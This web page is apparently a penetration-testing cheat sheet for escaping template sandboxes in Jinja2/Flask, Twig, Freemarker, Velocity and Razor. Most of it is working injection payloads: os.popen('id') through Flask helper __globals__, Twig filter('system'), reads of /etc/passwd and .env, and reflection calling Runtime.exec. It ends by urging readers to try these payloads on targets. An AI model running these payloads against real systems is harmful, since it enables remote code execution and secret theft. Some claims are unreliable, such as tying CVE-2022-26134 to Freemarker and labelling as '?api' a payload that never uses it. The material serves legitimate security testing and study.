Sandbox escape
A template sandbox restricts what built-in helpers, attributes, and methods the engine exposes. Escape paths:
- Jinja2 sandbox - string indexing instead of
__class__attribute,request.argssmuggle,lipsum.__globals__removed by Flask’s SandboxedEnvironment but not by all subclasses - Twig sandbox -
filter/map/sortcallbacks with PHP function names, source/include with traversal - Freemarker -
?apimechanism (added 2.3.22) bypassesnew_builtin_class_resolverrestrictions - Velocity - Velocity Tools
$classsurvives somesecure_uberspectconfigs; reflection through static fields when method access is restricted
The general principle: sandboxes filter by name. Reach the same object through a different name (string indexing, reflection, namespace tricks) and the sandbox often doesn’t see it.
What a sandbox actually blocks
Section titled “What a sandbox actually blocks”Sandboxes typically restrict three categories:
- Attribute access -
__class__,__mro__,getClass,class, similar magic attributes that walk the runtime type system - Function names -
eval,exec,system,popen,Runtime.exec, similar direct command-execution APIs - Module imports -
__import__,require,Type.GetType, similar loaders
Each engine implements these checks differently. None implement them completely. The bypasses below exploit the difference between “filtered name” and “reachable object.”
Jinja2 - SandboxedEnvironment
Section titled “Jinja2 - SandboxedEnvironment”Flask’s SandboxedEnvironment (and Jinja2’s directly) blocks attribute access to names starting with __:
{{ ''.__class__ }} # blocked: "access to the attribute '__class__' of 'str' object is unsafe"Path A - String indexing instead of attribute access
Section titled “Path A - String indexing instead of attribute access”The sandbox checks __getattr__. String indexing (__getitem__) is a different code path:
{{ ''['__class__'] }} # often works where ''.__class__ is blocked{{ ''['__class__']['__mro__'][1]['__subclasses__']() }}Some sandbox subclasses also filter __getitem__ - test the simpler ''['__class__'] first.
Path B - request.args smuggle
Section titled “Path B - request.args smuggle”When the sandbox blocks the string literal __class__ but allows attribute reads from request:
{{ ''[request.args.x][request.args.y][1][request.args.z]() }}Then send the request with ?x=__class__&y=__mro__&z=__subclasses__. The keyword __class__ never appears in the template body - it arrives via the query string.
Path C - attr filter
Section titled “Path C - attr filter”Jinja2’s built-in attr filter is sometimes allowed when direct attribute access is blocked:
{{ ''|attr('__class__') }}{{ ''|attr('__class__')|attr('__mro__') }}Path D - cycler / joiner / namespace (Flask-specific)
Section titled “Path D - cycler / joiner / namespace (Flask-specific)”Flask exposes these helpers globally in templates. Their __globals__ reaches os regardless of sandboxing on __class__:
{{ cycler.__init__.__globals__.os.popen('id').read() }}{{ joiner.__init__.__globals__.os.popen('id').read() }}{{ namespace.__init__.__globals__.os.popen('id').read() }}If sandbox filters __init__ specifically, try __globals__ directly:
{{ cycler.__globals__.os.popen('id').read() }}Path E - range, dict, other built-in callables
Section titled “Path E - range, dict, other built-in callables”When most paths are blocked but Jinja2’s built-in range is still callable:
{{ range.__globals__.os.popen('id').read() }}Built-in callables like range, dict, lipsum have __globals__ pointing into Jinja2’s runtime module - which often has os imported for path manipulation.
Twig - Sandbox mode
Section titled “Twig - Sandbox mode”Twig’s sandbox restricts:
- Tags (
if,forallowed by default;set,extends,includefiltered) - Filters (
escape,lengthallowed;filter,map,reduceNOT in default allowlist but often added) - Functions (
max,minallowed; almost nothing else by default) - Methods on objects (none by default; allowlist per object class)
Path A - filter / map callbacks
Section titled “Path A - filter / map callbacks”If the sandbox allowlist includes the filter or map filters (commonly added because they’re useful), PHP function names work as callables:
{{['id']|filter('system')}}{{['id']|map('system')|join(',')}}{{['/etc/passwd']|map('file_get_contents')|join('')}}The string 'system' passes through the sandbox because it’s a string, not a method call.
Path B - source and include
Section titled “Path B - source and include”If source is allowed (it often is - sandboxes use it for partials):
{{ source('../config/services.yaml') }}{{ source('../.env') }}Path traversal here is loader-relative. Most Twig loaders are pinned to the templates directory; traversal escapes that to wherever the loader’s root resolves.
Path C - _self.env reachability
Section titled “Path C - _self.env reachability”In hardened Twig, _self.env returns null or throws. In some sandbox subclasses, _self.env exists but specific methods are filtered:
{{_self.env.getRuntimeLoader()}} # often allowed{{_self.env.getLoader().getSourceContext('foo').getCode()}}The getSourceContext path reads template files directly, bypassing the application’s view-resolution logic.
Freemarker - new_builtin_class_resolver restrictions
Section titled “Freemarker - new_builtin_class_resolver restrictions”Freemarker’s sandbox restricts which classes ?new can instantiate. When new_builtin_class_resolver is set to TemplateClassResolver.ALLOWS_NOTHING_RESOLVER, ?new is disabled.
Path A - ?api reflection (Freemarker 2.3.22+)
Section titled “Path A - ?api reflection (Freemarker 2.3.22+)”The ?api built-in exposes the Java API of any TemplateModel - bypassing ?new restrictions entirely:
${"".getClass().forName("java.lang.Runtime").getMethod("exec",["".getClass()]).invoke(null,"id")}This is the path CVE-2022-26134 (Confluence) used. The Freemarker sandbox didn’t anticipate reflection through ?api on objects already in scope.
Path B - Available built-ins
Section titled “Path B - Available built-ins”Some Freemarker built-ins survive sandboxing and provide indirect file access:
${.now} # current time - confirms eval${.template_name} # template path - info disclosure${.locale} # server locale${.data_model?keys} # variable names in scope?.data_model?keys reveals what application objects are available - frequently includes a request, session, or app object whose methods can be called via ?api.
Velocity - secure_uberspect
Section titled “Velocity - secure_uberspect”Velocity’s secure_uberspect setting restricts reflection methods (getClass, getMethod, invoke). It’s the closest analog to a true sandbox in Velocity.
Path A - Velocity Tools $class
Section titled “Path A - Velocity Tools $class”$class.inspect(...) uses a different code path than direct reflection - frequently survives secure_uberspect:
$class.inspect("java.lang.Runtime").type.getMethod("getRuntime").invoke(null).exec("id")If Velocity Tools is loaded but reflection is blocked elsewhere, this is often the path.
Path B - Static fields
Section titled “Path B - Static fields”When method access is blocked, static field access sometimes isn’t:
#set($s="")#set($cls=$s.getClass().getSuperclass()) # often still worksThe exact bypass depends on which methods secure_uberspect filters. Test individual reflection methods (getClass, getSuperclass, getMethod, invoke) - sandbox configurations frequently filter only the obvious ones.
ERB - no sandbox
Section titled “ERB - no sandbox”ERB does not implement a sandbox. Ruby applications wanting templated user input typically switch to Liquid (Shopify’s restricted templating language) - which is genuinely sandboxed and very hard to escape. If you’re hitting Liquid:
{{7 | times: 7}} # → 49 in LiquidLiquid’s filter syntax ({{ x | filter }}) is distinctive. RCE through Liquid is exceptionally difficult; most engagements stop at information disclosure (filter abuse to read template-context variables).
Razor - no sandbox by default
Section titled “Razor - no sandbox by default”Razor compiles to C# and runs with full BCL access. There is no built-in sandbox mode in either RazorEngine or RazorLight. Some applications implement custom sandboxes by analyzing the generated C# AST and rejecting forbidden namespaces - these are usually defeated by reflection:
@{ var t = System.Type.GetType("System.Diagnostics.Process"); /* ... */ }The string "System.Diagnostics.Process" is data, not a namespace reference - AST-based filters often miss it.
Cross-engine principles
Section titled “Cross-engine principles”The bypasses above share three principles:
- Reach the object through data, not code.
__class__,system,Runtimeas literal strings inrequest.args/attr()/forName()survive filters that block them as keywords. - Use the engine’s most convenient API.
_self.env(Twig),?api(Freemarker),$class(Velocity Tools),cycler.__globals__(Flask) - engine-provided escape hatches are usually less filtered than the obvious reflection paths. - Look for unrestricted callables. Filters that look harmless (
filter,map,attr) become arbitrary function call when their callback parameter is reached.
Detection - am I in a sandbox?
Section titled “Detection - am I in a sandbox?”Quick probes to identify sandbox presence:
{{ ''.__class__ }} # blocked → sandboxed{{ config }} # empty → likely sandboxed (Flask normally exposes config){{ ''['__class__'] }} # works where ''.__class__ doesn't → SandboxedEnvironment-style{{_self.env}} # null/error → sandboxed{{[1]|filter('var_dump')}} # works → filter callback escape available{{ source('does_not_exist') }} # error message reveals whether source is allowlisted${"freemarker.template.utility.Execute"?new()} # error → ?new restricted${.now?api} # works → ?api available (escape path open)$s.getClass() # null/error → secure_uberspect on$class # works → Velocity Tools loaded (likely path)- Sandbox version matters. Each engine has tightened sandboxing over time. Jinja2’s SandboxedEnvironment was significantly hardened in 2.10 (April 2019). Twig’s sandbox got the
_selffilter in 1.32 (March 2017). Freemarker’s?apifilter restrictions arrived in 2.3.27 (March 2018). Older deployments are far more exploitable. - Custom sandbox subclasses. Applications sometimes subclass the built-in sandboxes to add/remove restrictions. These customizations frequently introduce new gaps - the application’s developers add a “useful” filter or expose a “safe” helper that the sandbox authors never considered.
- Sandbox != security boundary. Template sandboxes are designed to prevent accidents in semi-trusted templates (a marketing user editing email copy), not to resist motivated attackers. Treat any successful template injection in a sandboxed engine as still potentially exploitable - give it five payloads from this page before concluding the sandbox is solid.